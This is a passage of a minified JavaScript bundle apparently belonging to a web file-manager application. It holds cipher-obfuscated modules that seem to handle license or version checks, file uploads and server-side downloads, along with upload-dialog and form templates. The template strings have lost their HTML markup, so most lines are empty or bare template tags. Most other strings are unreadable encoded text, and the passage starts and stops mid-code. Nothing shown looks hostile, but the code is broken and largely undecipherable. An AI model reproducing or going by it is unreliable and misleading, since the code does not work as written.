OM200,'"),$("/6$+0&,'T/1&60"),$("/#&6(M1$#"),$("/#&6(M1$"),$("/L0.$$"),$("/#&6(M1$O.&))1$"),$("(00."),$("(U&-9"),$("#.(99(M1$"),$("%(16$"),$("(V(;8$02)"),$("9$0"),$("P,,5&$"),$("WOP8NBOHRX:Y"),$("/+,--,'O%,,0$.TZ%,.+$=()["),$("%,.+$=()"),$("6$0"),$(".$1,(#"),$("1,+(0&,'"),$("+66"),$("Q/\\$-TQ/]$-"),$("/+,--,'O%,,0$.TZ%,.+$=()^"),$("["),$("S_\\`M+("),$("S%%%"),$("6$085&'>&7"),$("&'&0"),$("0,,16"),$("5,#N$(#7"),$("$..,."),$("5,#N$(#7T$..,.a"),$("D,,5"),$("5,#N$(#7/$'#"),$("),.0"),$("a"),$("F$MD,60"),$(").,0,+,1"),$("**"),$("3,60'(-$"),$("*"),$("())N,,0"),$(".0.&-"),$(".$)1(+$"),$(")(03'(-$"),$("&'#$;/)3)"),$("())?'#$;"),$("10.&-"),$("())D,60"),$("&'#$;/)3)b"),$("c"),$(")(.(-N$F.&0$"),$("6$00&'96"),$("&'#$;/)3)*"),$("DR8H"),$("CddIDR8H"),$("5,#A6$.e('92(9$"),$("1('9"),8760,$("&6=()"),$("(67'+"),$("1&M*),6370&)*VE2$.7/),6370&)/V6"),$("1&M*),6370&)*65&'/+66"),$("Z0&01$["),$("),6370&)"),$(")0&)6O65&'"),$("+2.6,."),$(".&930"),$("M,00,-"),150,200,10,20,1500,$("0&01$O0&-$,20"),$(")(.6$?'0"),$("#(0("),$("0&01$/),6370&)"),$("0&01$O#(0("),$("&6"),$("&')20"),$("0$;0(.$("),$("J(1"),/\n/g,$("fM.*g"),$("-,26$#,F'"),$("/)0&)6O65&'"),$("6$08071$"),$("M,#7T/)0&)6O65&'h#&6)1(7a','$Ti&-),.0('0jk"),$(")0&)6O0&01$"),$("-,26$2)"),$("1&J$"),$("&')20U0$;0(.$("),$("%,+26"),$("3&#$"),$("6$.J$.>F,'1,(#"),$("2)1,(#"),$(")1(78,2'#"),$(")1(78,2'#B&1$"),$("60.&'9"),$("07)$"),$("0.&-"),$("h"),$("62M60.&'9"),$("6)1&0"),$(")(03H7)$"),$("-(0+3"),/\{.*\}/,$("&#"),$("XR>IA8:NI8DCN:"),$("26$.O6$1%"),$("-7I63(.$"),$("eYK"),$("XR>IKNRAdIdCHD"),$("9.,2)O6$1%O,F'$."),$("XR>IKNRAdI8DCN:"),$("9.,2)O92$60"),$("XR>IA8:NI8:eB"),$("XR>IA8:NIN:P@Pe:"),$(".$+7+1$"),$("XR>IA8:NIBCl"),$("0.$$O%(J"),$("%(J"),$("XR>IKNRAdINRRHI8:eB"),$("9.,2)O6$1%O.,,0"),$("-7I5,#I9.,2)"),$("XR>IKNRAdINRRHICee"),$("9.,2)O.,,0"),$("5,#I9.,2)"),$("26$.?>"),$("26$."),$(",F'$."),$(".,1$"),$("'(-$"),$("8H"),$("/"),$("CPH"),$("63(.$/%&1$"),$("()&/J&$F"),/\{.*\}/,/\{.*\}/,$("$J$'0"),$(")"),$(").$"),$("/+('O.&930O-$'2"),$("/0,)M(."),$("/$#&0OM,#7"),$("/(2&O60(0$O%,+26"),$(")(03P1$(."),$("1(60?'#$;R%"),$("62M60."),$("6$(.+3"),$("%&1$d.,;7"),$("2.1>$+,#$"),$("m)(03^"),2,/\\/g,/\/+/g,/\.+\//g,$("0,e,F$.P(6$"),$("2.1:'+,#$"),/%2F/g,$("300)"),4,$("F$MN,,0"),$(")(03A.1:'+,#$"),$("$;)1,.$.*%&1$d.,;7m(++$66H,5$'^"),$("(++$66H,5$'"),$("63(.$d(9$"),$("63(.$*%&1$d.,;7m26$.^"),$("m6&#^"),$("6&#"),$("63(.$*%&1$d.,;7m)(03^"),$("63(.$?'%,"),$("P,'%&9"),$(")(9$C))"),$("&6C..(7"),$(",MV$+0"),$("V6,'>(0("),$("%&1$e&60"),$(")(03"),$("&6N$(#(M1$"),$("%,1#$.e&60"),$("&6C))"),$("$#&0,."),$("&'%,"),$("+('A)1,(#"),$("3(6RF'd.,)$.07"),$("CAHD"),$("',I)$.-&66&,'"),$("0&)6"),$("H&)6"),$("03&6d(03"),$("(203K.,2)N,1$"),$("$J(1"),$("ano#pq*"),$(".$6),'6$H$;0"),$("(V(;:..,.>&(1,9"),$("1&60"),$("+1,6$"),$("6760$-I$..,."),$("fiOO26$.T1,9&'OOg"),17,$("6$0H&-$,20"),500,$("60(026"),$("rstuvwTn'$0aa:NNIPRYY:PH?RYIN:8:Hqxtuyz{fM.*g|",90,91,92,93,94,95,"r",96,"x",97,98,99,100,101,102,"{",103,""),$("f#&JT+1(66^",104,"(V(;:..,.",104,"g"),$("f*#&Jg"),$("+,'0$'0"),$(105,"Q",106,""),$(107,"Q",106,""),$("&+,'"),$("(V(;T$..,."),$("%&1$'(-$"),$("%&1$A.1"),$("$#&0,.*%&1$K$0m"),$("^"),$("63(.$*%&1$K$0m26$.^"),$("m"),$("&'#$;R%"),$("63(.$*%&1$K$0m"),$("(V(;"),$("V6,'"),$("(V(;:..,."),$("%2'+0&,'"),$("+,#$"),$("M(6$",105,"_"),$("M(6$",105,"_>$+,#$"),$("$;)1,.$.*)(03?'%,"),$("63(.$*)(03?'%,m26$.^"),$("dR8H"),$("#(0(C..^Zh",104,"07)$",104,"a",104,"%&1$",104,"U",104,")(03",104,"a",104,""),$(104,"k[mJ&$Fd(9$^c"),$("%&1$?'%,"),$("#,F'1,(#d(03"),$("',I)$.-&66&,'I(+0&,'"),$("^^g"),$("9.,2)I.,1$I)(03&'%,"),$("6760$-"),$("`",107,106,""),$("cQQ",106,""),$("R)$'6$00&'9I-,#$"),$("6$0K,0,"),$("8$00&'9"),$("#&6)1(7"),$("6$00&'9I-,#$"),$(",)$'"),$("6$00&'9S"),$("6$00&'9"),$("+,-)&1$"),$("(.0"),$("#&(1,9O+,)7.&930"),$("(M,20"),425,$("(##P1(66"),$("/#&(1,9O+,)7.&930"),$("('&-(0$#O",108,"QQTL,,-?'"),$("/*"),$("26$.*E.+,#$m2.1^"),$("E2,0$D0-1"),$("f(T3.$%^",109,""),$(109,"T6^",109,""),$(109,"T0(.9$0^",109,"IM1('5",109,"gf&-9T6.+^",109,""),$(109,"T6071$^",109,"M,.#$.ac);T6,1&#TS$$$j",109,"*gf*(g"),$("E.+,#$"),30,$("())"),$("())I60,.$"),$("())O60,.$"),$("`Q",106,""),$(108,"Q",106,""),$(",)$'=&'#,F"),$(110,"Q",106,""),$(",)$'>&(1,9"),$("AA?>"),$("f&%.(-$T%.(-$M,.#$.^",109,"Q",109,"T'(-$^",109,"R)$'"),$(109,"T6.+^",109,""),$("30-1:'+,#$"),$(109,"T6071$^",109,"FacQQ",106,"j3$&930acQQ",106,"jM,.#$.aQj",109,"gf*&%.(-$g"),$(108,107,106,""),$("$;0$'#"),$("2.1"),$("60(0&+d(03"),$("&-(9$6*%&1$I&+,'*&+,'I())*"),$("'2-M$."),$("F"),$(106,""),$("3$&930"),$(".$6&L$"),$("&+,'8.+"),$("/,$;$"),$("6&-)1$"),$("6F%"),$(")(03:;0"),$("+.$(0$B1(63"),$("k"),$("e7",110,"L#KBQ(=42(\\",110,"5@\\;J#=",111,"2@\\",110,"0e]lF",112,"KBQ",112,"8",110,"0@=12YP",107,"E+F^^"),$("b(^"),$("0,#,"),$("+3$+5"),$("$;)1,.$."),$("2&"),$(")(03H3&6"),$("$;)1,.$.m07)$^&%.(-$m)(03^"),$("63(.$*%,1#$.m07)$^&%.(-$m26$.^"),$("#&(1,9:;)1,.$."),$("%,1#$."),$("/#&(1,9:;)1,.$."),$("F.()"),$(">R4"),$("p^"),$(");"),$("$#&0,.m).,V$+0^"),$("63(.$*+,#$N$(#m26$.^"),$("m).,V$+0^"),$("/1&'5O03$-$O1,(#$#"),$("6.+"),$("S1&'5O03$-$O6071$"),$("3.$%"),$("e,+(1>(0("),$("03$-$"),$("6071$*65&'*"),$("/+66bJ$.^"),$("J$.6&,'"),$("())$'#"),$("f&-9T6.+^",104,""),$(104,"T,'1,(#^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T,'$..,.^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T+1(66^",104,"3&##$'T1&'5O03$-$O1,(#$#",104,"g"),$("5,#8071$>&7"),$("9$0P,'%&9"),$("03$-$>?@"),$("&-(9$6*F(11I)(9$*",110,"/V)9"),$("+,1,."),$("S_",107,105,""),$("SQQQ"),$("\\QQ"),$("6$0P,'%&9"),$("#&7"),$("&%.(-$Z'(-$^R)$',)$':#&0,.["),$("0,991$P1(66"),$("%.(-$O%2116+.$$'"),$("0.2$"),$("%2118+.$$'"),$("$;&0%2118+.$$'"),$("#,+2-$'0:1$-$'0"),$("#,+2-$'0"),$(".$E2$60B2116+.$$'"),$("-,LN$E2$60B2118+.$$'"),$("F$M5&0N$E2$60B2118+.$$'"),$("$;&0B2116+.$$'"),$("-,LP('+$1B2118+.$$'"),$("F$M5&0P('+$1B2118+.$$'"),$("-6&$"),$("M.,F6$."),9,$("+1(66&#^",104,"+16&#a#\\",108,"+#M",105,"$O($",105,"#Occ+%O",110,105,"M`O___",107,107,"]",107,"_QQQQ",104,""),$("f,MV$+0T07)$^",104,"())1&+(0&,'*;O63,+5F(J$O%1(63",104,"T+1(66^",104,""),$(104,"T"),$("T'(-$^",104,""),$(104,"T&#^",104,""),$(104,"T#(0(^",104,""),$(104,"TF^",104,"cQQ",106,104,"T3$&930^",104,"cQQ",106,104,"T0(M&'#$;^",104,"Oc",104,"Tgf)(.(-T'(-$^",104,"-,J&$",104,"TJ(12$^",104,""),$(104,"*gf)(.(-T'(-$^",104,"(11,F%2116+.$$'",104,"TJ(12$^",104,"0.2$",104,"T*gf)(.(-T'(-$^",104,"(11,F6+.&)0(++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"(11,F8+.&)0C++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"%1(63J(.6",104,"TJ(12$^",104,""),$(104,"T*gf)(.(-T'(-$^",104,"F-,#$",104,"TJ(12$^",104,"0.('6)(.$'0",104,"T*gf*,MV$+0gf#&JT+1(66^",104,"(2&O1,(#&'9",104,"T&#^",104,""),$("I1,(#&'9",104,"gf6)('g1,(#&'9//f*6)('gf*#&Jg"),$("6$0?'0$.J(1"),100,$("%1,,."),$("4(03"),$("d$.+$'0e,(#$#"),$("'$;0"),$("/(2&O1,(#&'9"),$("+1$(.?'0$.J(1"),null,50,$(")(.6$B1,(0"),1073741824,$("%&1$8&L$"),80,$("F(.'&'9"),$("&6Y(Y"),$("6)(+$I0&)6I%211"),$("Q",106,""),$("f#&JT+1(66^",109,"6)(+$O&'%,OM(.",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66O26$T"),$(109,"T6071$^",109,"Fa"),$(109,"gf*#&Jgf*#&Jgf#&JT+1(66^",109,"6)(+$O&'%,",109,"g"),$("f*#&Jgf*#&Jg"),$("#(0$"),$("0&-$I07)$"),$("9.,2)8)(+$A6$"),$("26$.8)(+$"),$("6&L$4(;"),1024,$("6&L$A6$"),$("63(.$"),$("$;)1,.$./%&1$A)1,(#"),$("(203P3$+5K.,2)"),$("&68760$-d(03"),$(")(03I+('I',0I(+0&,'"),$("',I)$.-&66&,'IF.&0$"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var t=arguments,i="",r=0,o=t.length;o>r;r++)if("number"==typeof t[r])i+=n($[0].charAt(t[r]));else for(var e=0,c=t[r].length;c>e;e++)i+=n($[0].charAt(t[r][e].charCodeAt()-35));return i}}(["ghilqds2frpu1woxkPnv|VjH{EZGL\\XIDKtz'WbyJ}eU0F3R&#/m[NQ^`56@7;=B4SO?A~$>€Y)+_.,罔统迡推锜诲/巵釐罱诺聗糾举朽啉戙箤棃柨阵灮墜酐$%9(8:*\n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n');;define("app/common/tpl/formMake.html",[],'
        \n
        \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
        \n {{if formTab}}\n
        \n {{each formTab tab tabIndex}}\n {{if tab}}\n
        \n {{/if}}\n {{/each}}\n
        \n
        \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
        {{item}}
        \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
        \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
        \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
        \n
        \n {{@item.display}}: {{if item.require}}*{{/if}}\n
        \n
        \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
        \n \n \n \n \n
        \n
        \n
        {{LNG.user}}
        \n \n
        \n
        \n
        {{LNG.group}}
        \n \n
        \n
        \n
        {{LNG.system_member_role}}
        \n \n
        \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
        {{@item.desc}}
        \n {{else}}\n {{@item.desc}}\n {{/if}}\n
        \n
        \n
        \n {{/if}}\n {{/each}}\n
        \n
        ');;!function($){!function($,n,r,t,o,c,i,f,u,a,A,e,J,p,d,v,G,X,h,C,q,s,N,O,Q,S,l,R,V,b,F,M,g,m,y,D,P,_,T,Y,k,B,H,L,W,j,E,I,K,Z,w,x,U,z,$n,nn,rn,tn,on,cn,fn,un,an,An,en,Jn,pn,dn,vn,Gn,Xn,hn,Cn,qn,sn,Nn,On,Qn,Sn,ln,Rn,Vn,bn,Fn,Mn,gn,mn,yn,Dn,Pn,_n,Tn,Yn,kn,Bn,Hn,Ln,Wn,jn,En,In,Kn,Zn,wn,xn,Un,zn,$r,nr,rr,tr,or,cr,ir,fr,ur,ar,Ar,er,Jr,pr,dr,vr,Gr,Xr,hr,Cr,qr,sr,Nr,Or,Qr,Sr,lr,Rr,Vr,br,Fr,Mr,gr,mr,yr,Dr,Pr,_r){$[r](t,[],function(n){var r=o,t=function(){var n=$[c](i);f!=$[a][u],$[A](n),$[J][e](n,!p),$[v](G)[d](),$[X](function(){$[J][h](n,!p),$[s][q][C]=r},N*$[O](Q,S))},Tr=function(){var r=l;$[X](function(){if(!$[s][R]||V==typeof $[b]){var r=F+$[M]();n[g](r,function(n){$[s][R]=!m;try{n[y]()}catch(r){}})}},N*$[O](D,Q)),$[a][P]=$[_]($[a][P][k](B)[Y]()[T](B));var t=$[L][H]($[a][P],W);r=t[j](D,p),t&&E==t[I]||(r=l);var o=$[_]($[a][K]);o=o[k](B)[Y]()[T](B),o=$[L][H](o,Z);var c=o[j](w,p);return $[a][K]=$[L][H](o[j](x),o[j](m,w)),c==r&&$[a][K]&&U==$[a][K][I]||($[v][z]($n),r=l),-p===$[v][nn](r,[l,rn,tn,on,cn,fn,un])&&(r=l),r},Yr=l;try{Yr=Tr()}catch(kr){}var Br=an,Hr=An,Lr=function(){if($[Jn][en](pn)&&l==Yr)for(var n=[$[vn][dn],$[vn][Gn],$[vn][Xn],$[vn][hn],$[vn][Cn],$[v](sn)[qn]()],r=m;ro)break;f[a]=t[a],u++}return f},Zr={init:Er,about:Ir};return Zr})}(this,void 0,$("#$%&'$"),$("())*+,--,'*+,.$/0,,12"),$("/*342$.*5$.2&,'6'20(11"),$("7(278$+,#$"),$("9:;-<=>:?@&50A(B?5A((C7$&DE4FAG.4(H4$$I&@(#JK51),?-'6')'68,),D,.L%,J=C'2L5,0:MN4G8556O1GBO)G8).G;PQG>RS=TUV+F"),$("(1$.0"),$("1,(#&'J"),$("C&)2"),1,$("7&#$"),$("["),$("\\-$22(J$C&)2]/0&)2A+1,2$^\\-$22(J$C&)2]&-J"),$("2$0C&-$,40"),$("0&)2"),$("7.$%"),$("1,+(0&,'"),$("_&'#,_"),1e3,$(".,4'#O.,-C,"),30,60,$("`"),$("(<#abM+LMWba%#RS9GMG9"),$("4'#$%&'$#"),$("0)18&(1,JD0-1"),$("**20(0&+/N,#+1,4#/+,-*4)#(0$*-(&'a/Q235c"),$("0&-$O1,(0"),$("(2d'+"),0,$("0,#,"),10,$("5$.2&,'D(27"),$("G(2$9a8$+,#$"),$("Q,&'"),$(".$5$.2$"),$("2)1&0"),"",$("#$+,#$"),$("(407Y.d)0"),$("e#%EfXghijiklARW"),$("24G20."),27,$("1$'J07"),$("5$.2&,'D(27H2$."),$("%Ma;jhil:IOF8R%#Q5"),16,17,32,$("J$0"),$("/*&'#$V/)7)342$.*5$.2&,'6'20(11h.$2$0cS"),$("&'`..(d"),$("@"),$("m"),$("n"),$("P"),$("F"),$("C"),$("N,#$V)1,.$."),$("N,#+1,4#"),$("&2`))"),$("+,.$"),$("$V)1,.$."),$("N,#A),_$.AGd"),$("?Z>"),$("+,)d.&J70A).$"),$("+,)d.&J70A+,'0(+0"),$("+,)d.&J70A#$2+"),$("+,)d.&J70A&'%,"),$("70-1"),$("/+,--,'X%,,0$."),$("0,?,_$.Y(2$"),$("2$(.+7"),300,5e3,$("%.$$"),$("S"),$(";"),$("M"),$("a"),$("<"),$("9"),$("5$.2&,'A5&)A"),$("o2)(']+1(22cp5$.2&,'X5&)p]&#cp"),$("pqo&]+1(22cp%,'0X&+,']&+,'XN$dpqo*&q"),$("o*2)('q"),$("&'2$.0`%0$."),$("/-$'4X2d20$-X(G,40"),$("1&5$"),$("#&$"),$("/5$.2&,'X5&)"),$("+1&+N"),$("5$.2&,'A5&)A%.$$"),$("(00."),$("&#"),$(",)$'B&'#,_"),$("5$.2&,'H)#(0$r&)"),$("o#&5]+1(22cp5$.2&,'X1&+$'2$pqo(]+1(22cp1&'$p]7.$%cp"),$("pqstuvo*(qo*#&5q"),$("())$'#"),$("%&'#"),$("_.()"),$("8@w"),$("/(4&X+,'0$'0"),$("0$V0"),$("1,'Jm.$22"),$("0,)"),$("(##Y1(22"),$("G,#d"),$("24)),.0X2)(+$X',0"),$(".$-,5$"),$("/-$'4X2d20$-X(G,40^/-$'4X1$%0]\\(G,40"),$("\\).,J.(-2]/2$00&'JA(G,40^\\).,J.(-2]/2$00&'JA7,-$)(J$^\\).,J.(-2]/7,-$A)(J$"),$("&+,'"),$("700)"),4,$("&+,'F.+"),$("o&]+1(22cpVX&0$-X%&1$]VX"),$("]2-(11"),$("pqo*&q"),$("o&-J]2.+cp"),$("p]#.(JJ(G1$cp%(12$p],'#.(J20(.0cp.$04.']%(12$xpq"),$("+,.$A0,,12A2d20$-8(0("),$("+,.$A0,,12A5$.2&,'Cd)$"),$("2d20$-8(0("),$("5$.2&,'Cd)$"),$("**N,#+1,4#/+,-*G4d/70-1\\"),$("&+,'F-(11"),2e3,$("+,.$A0,,12AJ.,4)?&-&0"),5,20,40,100,$("+,.$A0,,12A-$-G$.?&-&0"),15,50,150,500,$("J.,4)"),$("#(0("))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var r=arguments,t="",o=0,c=r.length;c>o;o++)if("number"==typeof r[o])t+=n($[0].charAt(r[o]));else for(var i=0,f=r[o].length;f>i;i++)t+=n($[0].charAt(r[o][i].charCodeAt()-35));return t}}(["ghilqds2frpu1wovBxyLkG9N58]JORbZWKtVeXMj}:6nIUm<4HE{30FQ'&#/zD7;@|C^,)-a(+ST?%AY濃派掋杆P>"]));;!function($){!function($,n,i,t,r,o,c,e,u,f,E,v,s,d,C,O,G,A,h,P,I,l,L,p,K,N,x,Q,J,B,k,_,b,y,S,g,m,H,X,T,M,R,D,U,F,V,w,q,W,Y,Z,z,j,$n,nn,tn,rn,on,cn,en,an,un,fn,En,vn,sn,dn,Cn,On,Gn,An,hn,Pn,In,ln,Ln,pn,Kn,Nn,xn,Qn,Jn,Bn,kn,_n,bn,yn,Sn,gn,mn,Hn,Xn,Tn,Mn,Rn,Dn,Un,Fn,Vn,wn,qn,Wn,Yn,Zn,zn,jn,$i,ni,ii,ti,ri,oi,ci,ei,ai,ui,fi,Ei,vi,si,di,Ci,Oi,Gi,Ai,hi,Pi,Ii,li,Li,pi,Ki,Ni,xi,Qi,Ji,Bi,ki,_i,bi,yi,Si,gi,mi,Hi,Xi,Ti,Mi,Ri,Di,Ui,Fi,Vi,wi,qi,Wi,Yi,Zi,zi,ji,$t,nt,it,tt,rt,ot,ct,et,at,ut,ft,Et,vt,st,dt,Ct,Ot,Gt,At,ht,Pt,It,lt,Lt,pt,Kt,Nt,xt,Qt,Jt,Bt,kt,_t,bt,yt,St,gt,mt,Ht,Xt,Tt,Mt,Rt,Dt,Ut,Ft,Vt,wt,qt,Wt,Yt,Zt,zt,jt,$r,nr,ir,tr,rr,or,cr,er,ar,ur,fr,Er,vr,sr,dr,Cr,Or,Gr,Ar,hr,Pr,Ir,lr,Lr,pr,Kr,Nr,xr,Qr,Jr,Br,kr,_r,br,yr,Sr,gr,mr,Hr,Xr,Tr,Mr,Rr,Dr,Ur,Fr,Vr,wr,qr,Wr,Yr,Zr,zr,jr,$o,no,io,to,ro,oo,co,eo,ao,uo,fo,Eo,vo,so,Co,Oo,Go,Ao,ho,Po,Io,lo,Lo,po,Ko,No,xo,Qo,Jo,Bo,ko,_o,bo,yo,So,go,mo,Ho,Xo,To,Mo,Ro,Do,Uo,Fo,Vo,wo,qo,Wo,Yo,Zo,zo,jo,$c,nc,ic,tc,rc,oc,cc,ec,ac,uc,fc,Ec,vc,sc,dc,Cc,Oc){$[i](t,[],function(n){var i=function(){var n=$[o][r]+c;return e==$[o][u]&&f==$[o][v][E]&&(n=$[o][r]+s+$[o][d]+C+$[o][O]),n};return $[A]($[h])[G](function(){$[I][P]=function(){return $[A](L)[l]>p?$[N][K]+x:void p}}),{serverDwonload:function(n,i){if(!$[J][Q](B))return!k;var t=$[A](_),c=t[b](y);if(t[b](g)[S](m),!n)return void $[X][H]($[N][T],!k);if(e==$[o][u])return void $[X][H]($[N][M],!k);R!=n[D](p,U)&&F!=n[D](p,V)&&(n=w+n);var f=$[q](),E=W+f+Y+n+Z+$[J][z](n)+j+$[N][$n]+nn;c[b](tn)[l]>p?$[A](E)[rn](c[b](on)):c[cn](E);var v,s,d,C=p,O=$[A](en+f),G=$[A](en+f+fn)[un]($[N][En])[an](vn),h=$[A](dn)[sn](en+f)[b](Cn);$[A](en+f+Gn)[On](An,function(){$[hn](v),v=!k,$[Pn](s),s=!k,$[A][In]($[o][r]+ln+f),$[A](this)[pn]()[pn]()[Ln](function(){$[A](this)[Kn](),$[xn][Nn]()})});var P,I=function(n){$[Pn](P),P=!k,P=$[Qn](function(){$[xn][Jn](function(){$[xn][kn][Bn](n)})},_n)},L=function(){$[A][bn]({url:$[o][r]+yn+i+Sn+$[gn](n)+mn+f+Hn+$[Xn](),dataType:Tn,error:function(n,i,t){var r=O[Mn](Rn);return _n!=a[Dn]&&r&&r[Un]?void $[Qn](function(){L()},Fn):($[J][Vn](n,i,t),void(_n==a[Dn]&&($[hn](v),v=!k,$[Pn](s),s=!k,h[pn]()[Kn](),G[wn](vn)[an](qn)[un]($[N][Wn]))))},success:function(n){return p==n[Yn]&&Zn==n[Mn]?void $[Qn](function(){L()},Fn):(n[Yn]?(I(n[zn]),G[wn](vn)[un]($[N][jn]),$[A](en+f+$i)[un]($[J][z](n[zn])),$[A](en+f+$i)[ni](ii,n[zn]),G[pn]()[pn]()[an](ti)):(G[wn](vn)[an](qn)[un](n[Mn]),G[pn]()[pn]()[an](qn)),$[hn](v),v=!k,$[Pn](s),s=!k,void h[pn]()[Kn]())}})};L();var K=function(){$[A][bn]({url:$[o][r]+ri+f,dataType:Tn,success:function(n){var i=m,t=n[Mn];if(v){if(!n[Yn])return void G[un]($[N][oi]);if(t){if(t[ci]=$[ei](t[ci]),t[Xn]=$[ei](t[Xn]),d){var r=t[ci]-d[ci],o=r/(t[Xn]-d[Xn]);if(C>ai*o){var c=C;C=o,o=c}else C=o;var e=$[fi][ui](o);e=e?e:p,i=e+Ei}if(O[Mn](Rn,t),p==t[l])O[b](Cn)[vi](si,di),G[un](i),O[b](Ci)[un]($[fi][ui](t[ci]));else{var a=t[ci]/t[l]*Oi;O[b](Cn)[vi](si,a+Gi),G[un](a[Ai](k)+hi+i+Pi),O[b](Ci)[un]($[fi][ui](t[l]))}O[b](Ii)[un](t[li]),d=t}}}})};s=$[Qn](function(){K(),v=$[Li](function(){K()},Fn)},Oi)},upload:function(){$[A](Ki)[pi]();var n=i();if($[xi][Ni](Qi,n),$[xi][Ni](Ji,Bi),p!=$[A](Ki)[l])return $[A](ki)[An](),void $[A][yi][bi][Si][_i](!p);var t=$[mi][gi]($[Hi]);$[A][yi]({padding:Xi,width:Ti,height:Mi,disableTab:!p,resize:!p,ico:$[J][Ri](Di),id:Si,fixed:!p,title:$[N][Ui],content:t({LNG:$[N]})}),$[A](Ki)[b](Vi)[Fi](),$[A](wi)[On](An,function(n){$[A](ki)[An]();var i=$[A][yi][bi][Si];i&&i[_i](!k),$[qi](n)}),$[A](Yi)[Wi](An)[On](An,function(){$[A](this)[Zi](zi)?($[A](ji)[an]($t),$[A](nt)[wn]($t),$[A](it)[wn](tt),$[A](rt)[an](tt)):($[A](ji)[wn]($t),$[A](nt)[an]($t),$[A](it)[an](tt),$[A](rt)[wn](tt))}),$[A](ct)[ot](function(){$[J][et]($[A](at)[S](),$[o][ut])}),$[A](ft)[Wi](An)[On](An,function(){$[J][et]($[A](at)[S](),$[o][ut])}),$[A](Et)[Wi](An)[On](An,function(){$[A][yi]({id:vt,fixed:!p,resize:!k,ico:$[J][Ri](Di),width:st,height:dt,padding:Ct,title:$[N][Ot],content:Gt,ok:function(){for(var n=$[A](ht)[S]()[At](Pt),i=p;i=e&&(e=p);var u=$[fi][ui](e);return u=u?u:p,e=u+Ei,a=e,e},v=[],s=function(n){$[Pn](t),t=!k,t=$[Qn](function(){var i=v;$[xn][Jn](function(){if($[xn][kn][Bn](i),n&&(v=[],$[J][ir](tr))){if(e==$[o][u])return;$[xn][pr][Lr]($[o][ut])}})},Kr)};$[xi][Nr](xr,function(n){if($[A](Ki)[pi](),!$[J][Q]())return $[xi][vr](n),void $[xi][sr](n);var i;try{i=n[Jr][Jr][Qr],void p!=n[Jr][Jr][Br]&&m!=n[Jr][Jr][Br]&&(i=n[Jr][Jr][Br])}catch(t){}if(n[Qr]=i,n[Jr]&&n[Jr][Jr]&&k==n[Jr][Jr][kr]&&n[Jr][Jr][Qr])return $[xn][kn][br][_r]($[o][ut]+n[Qr]),$[xi][vr](n),void $[xi][sr](n);var e=n[Qr];n[yr]=!k,n[Sr]=$[o][ut],(void p==e||St==e)&&(e=n[li]),r++;var a=$[A](gr),u=W+n[Or]+mr+$[Hr](n[Sr]+e)+Xr+$[Hr](n[Sr]+e)+Z+$[Hr]($[J][z](e))+Tr+$[fi][ui](n[ci])+Mr+$[N][$n]+nn;(Fn==r||Rr==r)&&$[X][H]($[N][Dr],Ur);var f=function(){if(p==n[ci]&&e){$[xn][kn][br][Fr](n[Sr]+e),$[xi][vr](n),$[xi][sr](n),c++,r++;var i=$[A](en+n[Or]);i[an](ti)[b](Vr)[wn](wr)[un]($[N][qr])[pn]()[b](Wr)[an](Yr)[an](cr)[wn](Zr)[wn](Kn)}},E=function(){$[xi][Di](),$[Qn](function(){f()},_n)};p==a[l]?$[Qn](function(){$[A](gr)[zr](u),E()},_n):(a[zr](u),E())})[Nr](jr,function(n,i,t){if(n[$o]&&!$[J][no](n[$o][ci])){var r=n[$o],o=$[N][io];return $[xi][vr](r),$[xi][sr](r),$[A](en+r[Or])[b](ro)[to](),$[A](en+r[Or])[an](qn)[b](Vr)[an](qn)[wn](wr),void 